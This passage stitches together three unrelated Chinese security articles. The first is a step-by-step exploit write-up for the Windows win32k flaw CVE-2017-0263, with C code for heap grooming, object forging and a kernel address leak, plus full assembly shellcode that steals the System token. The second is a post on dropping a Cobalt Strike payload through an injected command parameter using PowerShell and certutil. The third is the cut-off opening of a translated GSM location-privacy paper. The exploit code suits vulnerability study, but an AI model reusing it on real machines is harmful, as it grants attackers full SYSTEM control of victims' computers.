在用户进程验证代码的阴影窗口自定义消息处理函数 `xxShadowWindowProc` 执行期间，需要通过相关函数在内核中分配与
`tagPOPUPMENU` 结构体相同大小的缓冲区以占位刚释放的内存空隙，伪造新的弹出菜单对象，使系统误认为弹出菜单对象仍旧正常存在于内核中。
这在利用代码中将通过调用函数 `SetClassLong` 对大量的窗口对象设置 `MENUNAME` 字段的方式实现。这些窗口对象需要在首次调用函数
`TrackPopupMenuEx` 之前完成创建和初始化。
回到验证代码调用函数 `TrackPopupMenuEx` 之前创建菜单对象的位置，在此时机增加调用函数 `CreateWindowEx`
以创建大量窗口对象，并为每个窗口对象注册单独的窗口类。
for (INT i = 0; i < 0x100; ++i)
{
WNDCLASSEXW Class = { 0 };
WCHAR szTemp[20] = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"%x-%d", rand(), i);
Class.cbSize = sizeof(WNDCLASSEXW);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
RegisterClassExW(&Class);
hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
hWindowList[iWindowCount++] = hwnd;
}
_创建大量普通窗口对象的利用代码_
接下来在验证代码的自定义阴影窗口消息处理函数 `xxShadowWindowProc` 中调用系统服务 `NtUserMNDragLeave`
之前，增加对前面批量创建的普通窗口对象设置 `GCL_MENUNAME` 的调用：
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = 0x00098208; //->flags
dwPopupFake[0x1] = 0xDDDDDDDD; //->spwndNotify
dwPopupFake[0x2] = 0xDDDDDDDD; //->spwndPopupMenu
dwPopupFake[0x3] = 0xDDDDDDDD; //->spwndNextPopup
dwPopupFake[0x4] = 0xDDDDDDDD; //->spwndPrevPopup
dwPopupFake[0x5] = 0xDDDDDDDD; //->spmenu
dwPopupFake[0x6] = 0xDDDDDDDD; //->spmenuAlternate
dwPopupFake[0x7] = 0xDDDDDDDD; //->spwndActivePopup
dwPopupFake[0x8] = 0xDDDDDDDD; //->ppopupmenuRoot
dwPopupFake[0x9] = 0xDDDDDDDD; //->ppmDelayedFree
dwPopupFake[0xA] = 0xDDDDDDDD; //->posSelectedItem
dwPopupFake[0xB] = 0xDDDDDDDD; //->posDropped
dwPopupFake[0xC] = 0;
for (UINT i = 0; i < iWindowCount; ++i)
{
SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}
_为普通窗口对象设置 MENUNAME 字段的利用代码_
由于 `MENUNAME` 字段属于 `WCHAR` 字符串格式，因此在初始化缓冲区时需要将所有数值设置为不包含连续 2 字节为 `0`
的情况。通过调用函数 `SetClassLongW` 为目标窗口对象设置 `MENUNAME` 字段时，系统最终在内核中为窗口对象所属的窗口类
`tagCLS` 对象的成员域 `lpszMenuName` 分配并设置 `UNICODE` 字符串缓冲区。
由于成员域 `lpszMenuName` 指向的缓冲区和弹出菜单 `tagPOPUPMENU`
对象的缓冲区同样是进程配额的内存块，因此两者所占用的额外内存大小相同，只需要将在利用代码中为每个窗口对象设置的 `MENUNAME` 缓冲区长度设置为与
`tagPOPUPMENU` 大小相同的长度，那么通常情况下在内核中总有一个窗口对象的 `MENUNAME`
缓冲区被分配在先前释放的根弹出菜单对象的内存区域中，成为伪造的根弹出菜单 `tagPOPUPMENU` 对象。
为使稍后位置调用的系统服务 `NtUserMNDragLeave` 能再次进入函数 `xxxMNEndMenuState` 调用，需要将伪造的
`tagPOPUPMENU` 对象的成员域 `flags` 进行稍微设置，将关键标志位置位，其余标志位置零。
kd> dt win32k!tagPOPUPMENU 0141fb44
[...]
+0x000 fIsTrackPopup : 0y1
[...]
+0x000 fFirstClick : 0y1
[...]
+0x000 fDestroyed : 0y1
+0x000 fDelayedFree : 0y1
[...]
+0x000 fInCancel : 0y1
[...]
+0x004 spwndNotify : 0xdddddddd tagWND
+0x008 spwndPopupMenu : 0xdddddddd tagWND
+0x00c spwndNextPopup : 0xdddddddd tagWND
+0x010 spwndPrevPopup : 0xdddddddd tagWND
+0x014 spmenu : 0xdddddddd tagMENU
+0x018 spmenuAlternate : 0xdddddddd tagMENU
+0x01c spwndActivePopup : 0xdddddddd tagWND
+0x020 ppopupmenuRoot : 0xdddddddd tagPOPUPMENU
+0x024 ppmDelayedFree : 0xdddddddd tagPOPUPMENU
+0x028 posSelectedItem : 0xdddddddd
+0x02c posDropped : 0xdddddddd
_伪造的 tagPOPUPMENU 对象的成员域数据_
* * *
**伪造弹出菜单对象成员域**
前面伪造的 `tagPOPUPMENU`
对象重新占用了先前释放的根弹出菜单对象的内存区域，并且其各个成员域在利用代码中分配时可以实施完全控制。但前面并未对其各个指针成员域进行有效性设置，这样一来在函数
`xxxMNEndMenuState`
中解锁各个指针成员域指向的对象时仍旧会触发缺页异常等错误。接下来通过对指针成员域进行设置，使其指向有效的内存空间，以使内核逻辑能够正常向后执行。
回到验证代码中创建作为弹出菜单拥有者的窗口对象 `hWindowMain` 的位置，增加创建新的用作利用载体的普通窗口对象 `hWindowHunt`
的代码：
WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = DefWindowProcW;
wndClass.cbWndExtra = 0x200;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = L"WNDCLASSHUNT";
RegisterClassExW(&wndClass);
hWindowHunt = CreateWindowExW(0x00,
L"WNDCLASSHUNT",
NULL,
WS_OVERLAPPED,
0,
0,
1,
1,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
_创建用来作为利用载体的窗口对象的利用代码_
载体窗口对象 `hWindowHunt` 具有 `0x200` 字节大小的扩展区域，扩展区域紧随基础的 `tagWND`
对象其后，在利用代码中将用来伪造各种相关的内核用户对象，以使系统重新执行 `xxxMNEndMenuState` 期间，执行流能正常稳定地执行。
接下来通过 `HMValidateHandle` 内核对象地址泄露技术获取载体窗口对象的 `tagWND` 内核地址。窗口对象 `tagWND`
的头部结构是一个 `THRDESKHEAD` 成员结构体对象，完整的结构体定义如下：
typedef struct _HEAD {
HANDLE h;
DWORD cLockObj;
} HEAD, *PHEAD;
typedef struct _THROBJHEAD {
HEAD head;
PVOID pti;
} THROBJHEAD, *PTHROBJHEAD;
typedef struct _DESKHEAD {
PVOID rpdesk;
PBYTE pSelf;
} DESKHEAD, *PDESKHEAD;
typedef struct _THRDESKHEAD {
THROBJHEAD thead;
DESKHEAD deskhead;
} THRDESKHEAD, *PTHRDESKHEAD;
_结构体 THRDESKHEAD 的定义_
其中结构体 `DESKHEAD` 的成员域 `pSelf` 指向所属用户对象的内核首地址。因此通过该指针加上 `tagWND`
结构体的大小定位到当前窗口对象的扩展区域的内核地址。
根据代码分析，函数 `xxxMNEndMenuState` 在开始执行时调用函数 `MNEndMenuStateNotify`
用来在通知窗口对象所属线程和当前菜单状态所属线程不同的情况下，清理通知线程的线程信息对象的成员域 `pMenuState` 数值。然而不幸的是，由于伪造的
`tagPOPUPMENU` 对象已覆盖原有数据，因此需要继续伪造包括通知窗口对象在内的其他内核用户对象。
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
pvHeadFake = pbExtra + 0x44;
for (UINT x = 0; x < 0x7F; x++) // 0x04·0x1D
{
SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra);
}
PVOID pti = head->thead.pti;
SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti
_填充载体窗口对象扩展区域的利用代码_
将载体窗口对象的扩展区域预留 `4` 字节，将剩余 `0x1FC`
字节的内存区域全部填充为剩余内存区域的首地址，填充后的数值将作为各种对象成员域的句柄、引用计数或对象指针。
接下来将剩余内存区域 `+0x44` 字节偏移的内存数据作为伪造的内核用户对象头部结构，其地址被作为伪造的根弹出菜单 `tagPOPUPMENU`
对象的各个指针成员域的值。在利用代码的自定义阴影窗口消息处理函数 `xxxShadowWindowProc` 中替换原来的初始化 `MENUNAME`
字段缓冲区的利用代码：
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0x00098208; //->flags
dwPopupFake[0x1] = (DWORD)pvHeadFake; //->spwndNotify
dwPopupFake[0x2] = (DWORD)pvHeadFake; //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)pvHeadFake; //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)pvHeadFake; //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)pvHeadFake; //->spmenu
dwPopupFake[0x6] = (DWORD)pvHeadFake; //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)pvHeadFake; //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xFFFFFFFF; //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)pvHeadFake; //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xFFFFFFFF; //->posSelectedItem
dwPopupFake[0xB] = (DWORD)pvHeadFake; //->posDropped
dwPopupFake[0xC] = (DWORD)0;
_更新的初始化 MENUNAME 缓冲区的利用代码_
其中例外的成员域 `ppopupmenuRoot` 和 `posSelectedItem` 被填充为 `0xFFFFFFFF`
以防止执行流误入歧途。由于伪造对象头部 `pvHeadFake` 指向的内存区域对应的成员域 `cLockObj`
具有极大的数值，因此在内核中各个针对该伪造对象的解锁和解引用函数调用都不足以使系统为其调用销毁对象的函数，因此异常将不会发生。
在函数 `xxxMNEndMenuState` 第二次执行期间，在原位置重新分配的伪造根弹出菜单 `tagPOPUPMENU` 对象在函数
`MNFreePopup` 中释放。
**内核地址泄露技术**
本分析中使用了 `HMValidateHandle` 内核地址泄露技术。在 `user32`
模块中，在操作一些用户对象时，为了提升效率以便于直接在用户模式获取目标用户对象的数据，系统提供了未导出的函数 `HMValidateHandle`
以供模块内部使用。
这个函数接收用户句柄和对象类型作为参数，在内部对参数进行验证，验证通过时则返回目标对象在当前进程桌面堆中映射的地址。该函数并未导出，但在一些导出函数中调用，例如
`IsMenu` 函数。该函数验证通过参数传入的句柄是否为菜单句柄。函数通过将句柄值和菜单类型枚举 `2`(`TYPE_MENU`) 传入函数
`HMValidateHandle` 调用，并判断函数返回值是否不为空，并返回判断的结果。
.text:76D76F0E 8B FF mov edi, edi
.text:76D76F10 55 push ebp
.text:76D76F11 8B EC mov ebp, esp
.text:76D76F13 8B 4D 08 mov ecx, [ebp+hMenu]
.text:76D76F16 B2 02 mov dl, 2
.text:76D76F18 E8 73 5B FE FF call @HMValidateHandle@8 ; HMValidateHandle(x,x)
.text:76D76F1D F7 D8 neg eax
.text:76D76F1F 1B C0 sbb eax, eax
.text:76D76F21 F7 D8 neg eax
.text:76D76F23 5D pop ebp
.text:76D76F24 C2 04 00 retn 4
_函数 IsMenu 的指令片段_
因此我们可以通过硬编码匹配的方式，从 `user32` 模块的导出函数 `IsMenu` 中查找并计算函数 `HMValidateHandle` 的地址。
static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;
VOID
xxGetHMValidateHandle(VOID)
{
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
PBYTE Address = NULL;
for (INT i = 0; i < 0x30; i++)
{
if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
{
continue;
}
i += 2;
if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
{
continue;
}
Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
Address = Address + i + 5;
pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
break;
}
}
_查找并计算 HMValidateHandle 函数地址的利用代码_
目标函数查找到之后，在利用代码中需要获取窗口对象等类型用户对象的地址的时机调用该函数并传入对象句柄，调用成功时则返回目标对象在用户进程桌面堆中的映射地址。
#define TYPE_WINDOW 1
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}
_获取目标窗口对象在桌面堆中的映射地址的利用代码_
窗口对象的头部结构是一个 `THRDESKHEAD` 成员结构体对象，其中存在子成员域 `pSelf` 指向所属窗口对象的内核首地址。
**内核模式代码执行**
成员标志位 `bServerSideWindowProc` 位于 `tagWND` 对象标志成员域的第 `18`
位，其之前的两个标志位是`bDialogWindow`和`bHasCreatestructName`标志位：
kd> dt win32k!tagWND
+0x000 head : _THRDESKHEAD
+0x014 state : Uint4B
[...]
+0x014 bDialogWindow : Pos 16, 1 Bit
+0x014 bHasCreatestructName : Pos 17, 1 Bit
+0x014 bServerSideWindowProc : Pos 18, 1 Bit
_成员标志位 bServerSideWindowProc 在结构体中的位置_
通过研究发现，在创建普通窗口对象时，如果样式参数 `dwStyle` 和扩展样式参数 `dwExStyle` 都传值为 `0` 默认值，那么在内核中成员域
`bDialogWindow` 和 `bHasCreatestructName` 都将未被置位。因此可以借助这个特性，实现对目标关键标志位的置位。
在利用代码中填充载体窗口对象的扩展区域内存期间，增加通过内核地址泄露技术获取窗口对象成员域 `bDialogWindow` 的地址的调用：
pvAddrFlags = *(PBYTE *)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;
_获取窗口对象成员域 bDialogWindow 地址的利用代码_
接着将在先前初始化的结构体 `SHELLCODE` 对象的成员域 `pfnWindProc` 起始地址设置为载体窗口对象 `hWindowHunt`
的消息处理函数：
SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);
_修改载体窗口对象消息处理函数的利用代码_
在利用代码的自定义阴影窗口消息处理函数 `xxxShadowWindowProc` 中初始化 `MENUNAME` 字段缓冲区数值时，将成员标志位
`bDialogWindow` 的地址减 `4` 字节偏移的地址作为伪造 `tagPOPUPMENU` 对象的某个窗口对象指针成员域（例如
`spwndPrevPopup` 成员域）的数值，使前面提到的三个标志位正好位于该指针成员域指向的“窗口对象”的锁计数成员域 `cLockObj` 的最低
3 比特位。
dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
_更新伪造弹出菜单对象的 spwndPrevPopup 成员域的利用代码_
在函数 `xxxMNEndMenuState` 执行期间，系统为根弹出菜单对象的成员域 `spwndPrevPopup` 调用函数
`HMAssignmentUnlock` 以解除对目标窗口对象的赋值锁时，将直接对以成员标志位 `bDialogWindow` 地址起始的 32
位数值自减，这将使成员标志位 `bServerSideWindowProc` 置位：
+0x014 bDialogWindow : 0y1
+0x014 bHasCreatestructName : 0y1
+0x014 bServerSideWindowProc : 0y1
_成员标志位 bServerSideWindowProc 由于自减被置位_
由于成员标志位 `bServerSideWindowProc` 置位，载体窗口对象将获得在内核上下文直接执行窗口对象消息处理函数的能力。
**ShellCode**
ShellCode 函数代码将作为载体窗口对象的自定义消息处理函数在内核上下文直接执行。在构造 ShellCode
函数代码之前，首先对所需的数据进行初始化和赋值。
根据前面构造的利用代码，我们已实现漏洞触发后在函数 `xxxMNEndMenuState`
第二次执行期间不引发系统异常而成功执行，但第二次释放的根弹出菜单对象实际上是批量创建的普通窗口对象中某个窗口对象所属窗口类 `tagCLS` 对象的成员域
`lpszMenuName` 指向的缓冲区。这将导致在进程退出时销毁用户对象期间，系统在内核中释放目标窗口类对象成员域 `lpszMenuName`
时引发重复释放的异常，因此需要在 ShellCode 代码中将目标窗口类对象的成员域 `lpszMenuName` 置空。
在利用代码批量创建普通窗口对象期间，增加获取每个窗口对象的成员域 `pcls` 指向地址的语句，并将获取到的各个 `pcls` 指向地址存储在结构体
`SHELLCODE` 对象的成员数组 `tagCLS[]` 中。
static constexpr UINT num_offset_WND_pcls = 0x64;
for (INT i = 0; i < iWindowCount; i++)
{
pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);
}
_获取 tagCLS 地址并存储在结构体 SHELLCODE 对象的利用代码_
查找需置空成员域 `lpszMenuName`
的目标窗口类对象需要通过与根弹出菜单对象的内核地址进行匹配，因此需要利用代码在用户进程中获取根弹出菜单对象的内核地址。这可以在事件通知处理函数
`xxWindowEventProc` 中实现：
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
if (iMenuCreated == 0)
{
popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0);
}
if (++iMenuCreated >= num_PopupMenuCount)
{
SendMessageW(hwnd, MN_ENDMENU, 0, 0);
}
else
{
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002);
}
}
_在函数 xxWindowEventProc 中增加获取根弹出菜单对象地址的利用代码_
接下来实现对 ShellCode 函数代码的构造。与在用户上下文中执行的窗口对象消息处理函数稍有不同的是，内核模式窗口对象消息处理函数的第 1
个参数是指向目标窗口 `tagWND` 对象的指针，其余参数都相同。
为了精确识别触发提权的操作，在代码中定义 `0x9F9F` 为触发提权的消息。在 ShellCode
函数代码中，我们首先判断传入的消息参数是否是我们自定义的提权消息：
push ebp
mov ebp,esp
mov eax,dword ptr [ebp+0Ch]
cmp eax,9F9Fh
jne LocFAILED
在 32 位的 Windows 操作系统中，用户上下文代码段寄存器 `CS` 值为 `0x1B`，借助这个特性，在 ShellCode
函数代码中判断当前执行上下文是否在用户模式下，如是则返回失败。
mov ax,cs
cmp ax,1Bh
je LocFAILED
接下来清空 `DF` 标志位；恢复载体窗口对象的标志位状态，与之前修改标志位时的自减相对地，使成员标志位 `bDialogWindow` 地址起始的 32
位数据直接自增。
cld
mov ecx,dword ptr [ebp+8]
inc dword ptr [ecx+16h]
首先备份当前所有通用寄存器的数值在栈上，接下来通过 `CALL-POP` 技术获取当前 `EIP` 执行指令的地址，并根据相对偏移计算出存储在
ShellCode 函数代码前面位置的结构体 `SHELLCODE` 对象的首地址：
pushad
call $5
pop edx
sub edx,443h
遍历结构体 `SHELLCODE` 对象存储的 `tagCLS` 数组并与通过参数 `wParam` 传入的根弹出菜单对象的内核地址进行匹配。
mov ebx,100h
lea esi,[edx+18h]
mov edi,dword ptr [ebp+10h]
LocForCLS:
test ebx,ebx
je LocGetEPROCESS
lods dword ptr [esi]
dec ebx
cmp eax,0
je LocForCLS
add eax,dword ptr [edx+8]
cmp dword ptr [eax],edi
jne LocForCLS
and dword ptr [eax],0
jmp LocForCLS
接下来获取载体窗口对象头部结构中存储的线程信息 `tagTHREADINFO` 对象指针，并继续获取线程信息对象中存储的进程信息
`tagPROCESSINFO` 对象指针，并获取对应进程的进程体 `EPROCESS` 对象指针。各个成员域的偏移在结构体 `SHELLCODE`
对象中存储。
LocGetEPROCESS:
mov ecx,dword ptr [ecx+8]
mov ebx,dword ptr [edx+0Ch]
mov ecx,dword ptr [ebx+ecx]
mov ecx,dword ptr [ecx]
mov ebx,dword ptr [edx+10h]
mov eax,dword ptr [edx+4]
接下来根据进程体 `EPROCESS` 对象的成员域 `ActiveProcessLinks` 双向链表和成员域 `UniqueProcessId`
进程标识符找到当前进程的 `EPROCESS` 地址。由于 `UniqueProcessId` 是成员域 `ActiveProcessLinks`
的前一个成员域，因此直接使用 `SHELLCODE` 对象中存储的 `ActiveProcessLinks` 偏移值来定位
`UniqueProcessId` 的位置。
push ecx
LocForCurrentPROCESS:
cmp dword ptr [ebx+ecx-4],eax
je LocFoundCURRENT
mov ecx,dword ptr [ebx+ecx]
sub ecx,ebx
jmp LocForCurrentPROCESS
LocFoundCURRENT:
mov edi,ecx
pop ecx
紧接着继续遍历进程体 `EPROCESS` 对象链表，以找到 System 进程的进程体对象地址。
LocForSystemPROCESS:
cmp dword ptr [ebx+ecx-4],4
je LocFoundSYSTEM
mov ecx,dword ptr [ebx+ecx]
sub ecx,ebx
jmp LocForSystemPROCESS
LocFoundSYSTEM:
mov esi,ecx
执行到这一步已定位到当前进程和 System 进程的进程体对象地址，接下来就使用 System 进程的成员域 `Token` 指针替换当前进程的
`Token` 指针。
mov eax,dword ptr [edx+14h]
add esi,eax
add edi,eax
lods dword ptr [esi]
stos dword ptr es:[edi]
此时当前进程已拥有 System 进程的 `Token` 指针，额外增加的引用需要手动为目标 `Token` 对象增加对象引用计数。在 NT
执行体模块中大多数内核对象都是以 `OBJECT_HEADER` 结构体作为头部结构：
kd> dt nt!_OBJECT_HEADER
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
[...]
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body : _QUAD
该结构位于内核对象地址前面的位置，内核对象起始于 `OBJECT_HEADER` 结构体的 `Body` 成员域。手动增加指针引用需要对成员域
`PointerCount` 进行自增。
and eax,0FFFFFFF8h
add dword ptr [eax-18h],2
接下来大功告成，恢复前面备份的通用寄存器的数值到寄存器中，并赋值返回值为 `0x9F9F` 作为向调用者的反馈信息。
popad
mov eax,9F9Fh
jmp LocRETURN
LocFAILED:
mov eax,1
LocRETURN:
leave
ret 10h
至此 ShellCode 函数代码已编写完成。
**触发提权**
万事俱备，只欠东风。接下来在利用代码的自定义阴影窗口消息处理函数 `xxShadowWindowProc` 中调用系统服务
`NtUserMNDragLeave` 之后的位置增加对载体窗口对象发送自定义提权消息 `0x9F9F` 的调用语句，并将返回值的判断结果存储在全局变量
`bDoneExploit` 中。
LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
bDoneExploit = Triggered == 0x9F9F;
_在函数 xxShadowWindowProc 中增加发送提权消息的利用代码_
这样一来，在执行系统服务 `NtUserMNDragLeave` 以置位载体窗口对象的成员标志位 `bServerSideWindowProc`
之后，函数发送 `0x9F9F` 消息并将根弹出菜单对象的内核地址作为 `wParam`
参数传入，执行流将在内核上下文中直接调用载体窗口对象的自定义消息处理函数，执行到由用户进程定义的 ShellCode
代码中，实现内核提权和相关内核用户对象成员域的修复。
通过主线程监听全局变量 `bDoneExploit` 是否被赋值；如成功赋值则创建新的命令提示符进程。
_启动的命令提示符进程已属于 System 用户身份_
可以观测到新启动的命令提示符已属于 System 用户身份。
## 后记
在本分析中构造验证代码和利用代码时，处理逻辑与原攻击样本的代码稍有差异。例如，攻击样本为了保证成功率，在代码中增加了暂时挂起全部线程的操作，还将菜单和子菜单的个数设定为
3 个。在本分析中为了实现最简验证和利用代码，对这些不必要的因素进行了省略。
## 链接
[0] 本分析的 POC 下载
<https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2017-0263/x86.cpp>
[1] Kernel Attacks through User-Mode Callbacks
<http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf>
[2] 从 Dump 到 POC 系列一: Win32k 内核提权漏洞分析
<http://blogs.360.cn/blog/dump-to-poc-to-win32k-kernel-privilege-escalation-vulnerability/>
[3] TrackPopupMenuEx function (Windows)
<https://msdn.microsoft.com/en-us/library/windows/desktop/ms648003(v=vs.85).aspx>
[4] sam-b/windows_kernel_address_leaks
<https://github.com/sam-b/windows_kernel_address_leaks>
[5] Sednit adds two zero-day exploits using ‘Trump’s attack on Syria’ as a
decoy
<https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/>
[6] EPS Processing Zero-Days Exploited by Multiple Threat Actors
<https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html> | 社区文章 |
碰到一些极限环境，比如站库分离只出dns的时候，想上线cs的马，但是文件迟迟不能落地，相信很多人都会想到certutil等工具。
而在使用certutil
base64通过echo写文件时，echo会在每行的末尾追加一个空格，加上http传输的URL编码问题，有一些傻逼环境总是decode时候出错，而且一些几十几百k的文件，一行一行echo实在是拉跨。所以用powershell配合bp的爆破模块来写文件，然后
`certutil -decode` 就完事了，轻松省心。
powershell -c "'a' | Out-File C:\1.txt -Append"
写文件的时候通过bp的爆破模块去单线程写入文件，举一个请求包的例子。
/login HTTP/1.1
Host: baidu.com
cmd=powershell -c "'§§' | Out-File C:\1.txt -Append"
设置参数
设置certutil encode的txt字典
勾上URL编码
设置单线程，你也可以设置每次请求之后sleep 1秒。
冲完之后落地到目标的txt文件和本地的txt文件hash一致，decode之后的文件hash仍然一致。
本地还原文件的hash
落地到目标还原之后的文件hash | 社区文章 |
译文仅供参考，具体内容表达以及含义原文为准
Paper: 《Location leaks on the GSM air interface》
Author: Denis Foo Kune, John Koelndorfer, Nicholas Hopper, Y ongdae Kim
Advisor: Lenny Zeltser
Accepted: January 15th, 2020
## 摘要
由于手机使用无线媒体和它们的移动特性，它们会收听广播通信，这些通信可能会向监听的攻击者透露它们的物理位置。本文研究了通过简单地收听广播 GSM
频道来测试用户是否存在于小区域内或不在大区域内的技术。结合现成的硬件和开源软件，我们展示了实际的位置测试攻击，包括绕过旨在保护终端用户身份的临时标识符。最后，我们提出了可以在对系统影响较小的情况下改善用户位置隐私的解决方案。
## 0x01 Introduction
有三个主要实体会以不同的方式访问用户的位置信息：服务提供商可以访问其用户的所有位置数据; 执法机构有权力索要这些信息;
以及外部实体，包括没有明确访问位置信息的其他用户。位置泄漏的通信协议将意味着，即使实体没有访问的位置数据库也够从目标用户推断出一些位置信息。
我们集中在2层和3层的常见的较低的 GSM 堆栈层，同时关注广播频道对用户位置隐私的影响。我们展示了尽管 GSM
被设计成用临时ID隐藏终端设备的身份，但是仍可以将电话号码映射到临时ID。我们还证明，通过多个发射塔简单地查看网络发送的广播消息，就可以确定一个用户的设备是否在100km2的区域内。我们还展示了在一个发射塔上为一个用户进行测试的可能性，这个塔可以映射到一个相对较小的地理区域，大约1平方公里或更小。在这项工作中，我们还没有把范围缩小到确切的建筑，但是我们可以确定使用者是否在十几个街区之内。
## 0x02 Background
### A. GSM 基础设施概述
一个 GSM 蜂窝网络由15个主要的逻辑实体组成。与本项工作相关的实体如下:
* 访问者位置寄存器(VLR)负责一个或多个移动站可能漫游进出的区域。此实体处理移动站的临时ID(TMSIs)。
* 基站系统(BSS)是一个由基站收发器(BTS)和控制器(BSC)组成的网络，负责直接与移动站通信。
* 移动站(MS)是使用者携带的移动设备。它是由实际的设备和一个 SIM卡组成的。
下图展示了体系结构和实体之间的连接的总体情况。移动站和 BTS 通过无线 GSM 协议进行通信，也就是所谓的空中接口。在 GSM
空中接口规范中定义了多个信道用于 MS 和 BTS 之间的下行和上行通信。与这项工作相关的频道如下:
* PCCH: 所有手机都会收听的广播下行频道。有多个频率可以用绝对射频信道号(ARFCN)来识别，这些频率可以用于该信道。
* RACH: 任何在网络上注册的移动站都可以使用的随机接入上行链路信道。
* SDCCH: 一个特定的上行通道，由 BTS 分配。
为了限制无线电资源的消耗，蜂窝网络将设法通过它的发射塔来限制通信量，只传送在该特定地区服务的手机所需的信息。因此，所述传呼请求广播消息通过位于特定位置区号(LAC)内的发射塔发送，该发射塔为所关注的移动站服务。这些消息是通过广播
PCCH 下行链路发送的，并用于通知移动站它需要联系 BTS 。移动站按照他们所选择的 BTS 的特定频率调谐(或驻留)
，并能够收到所有正在发送的寻呼。每个传呼请求消息包含预期目的地的唯一标识符，或者是全球唯一的国际移动台标识(IMSI)
，或者是临时移动用户标识(TMSI)。
### B. 来电协议
GSM 网络中的无线接口在来电期间的逻辑流程如下 :
1. BSS 试图找到移动站。BTSs 在最近的已知 LAC 看到设备，通过 PCCH 下行链路发送一个带有移动站 IMSI 或 TMSI 的寻呼请求(paging request)。
2. 在接收到传呼请求后，移动站将确定 IMSI 或 TMSI 是否与自己的匹配。如果是，移动台将通过 RACH 上行链路发送信道请求消息，从 BTS 请求无线资源。
3. BTS 会在同一个 PCCH 下行链路发送的即时分配消息中显示即将用于移动站的 SDCCH 的详细信息。
4. 移动台在分配的 SDCCH 上行链路上回复一个寻呼应答。协议的其余部分允许移动台和 BTS 在传输数据(文本或语音)之前协商安全级别和其他设置参数。协议描述如下图所示。
**寻呼请求信息:** 寻呼请求信息可以是类型1、2和3，同时分别携带最多2、3和4个标识。传呼请求是针对每个发送到 LAC
内的移动站的呼叫或文本消息而发出的。对寻呼请求的响应是从移动台 通过SDCCH 上行链路发送到它选择的 BTS 。通常移动站会选择信号最强的 BTS。
**即时分配消息:**
即时分配是对来自移动站的信道请求消息的响应。它包含与通道请求消息匹配的标识符。由于立即分配消息是通过广播信道发送的，所述标识符允许移动站区分用于它的消息和用于其他移动站的消息。如果收到了上行信道请求消息，很容易与请求设备匹配，但通过观察
PCCH
下行链路来确定即时分配消息是否是来自寻呼请求消息的触发的结果则更为棘手。如果能够确定观察到的即时分配消息确实即将用于目标移动站，则表明该设备驻留在带有该消息的
PCCH 的 ARFCN 上。因此，这说明这个装置，和我们监听的那个在同一个信号塔上。
## 0x03 Preliminary Measurements
我们在一个主要城市群对 T-Mobile 和 AT&T 网络进行了初步测量，以描述实际部署的特征。
### A. 测量平台
我们的测量系统(如下图所示)是基于Osmocom基带平台
，再加上能够打出电话的地线电话。右下角是摩托罗拉C118连接到一台笔记本电脑上。我们用Osmocom的 GSM 第一层固件替换了
c118固件。新的固件从笔记本电脑调谐到请求的
ARFCN，并通过其串行端口将所有第一层消息中继到笔记本电脑。在笔记本电脑上运行是Osmocom，它将替换固件刷新到
c118，然后变成一个中继器，将数据包从串行端口转发到socket，供Osmocom的其他应用程序使用。在同一台笔记本电脑上运行的移动应用程序连接到socket，并实现
GSM 第2层和第3层。
图中左侧的T-Mobile G1(US)被用作我们的映射工具。它关注的是 AT+GSM 命令，查询基带当前关于 TMSI、 LAC、 ARFCN 以及相邻
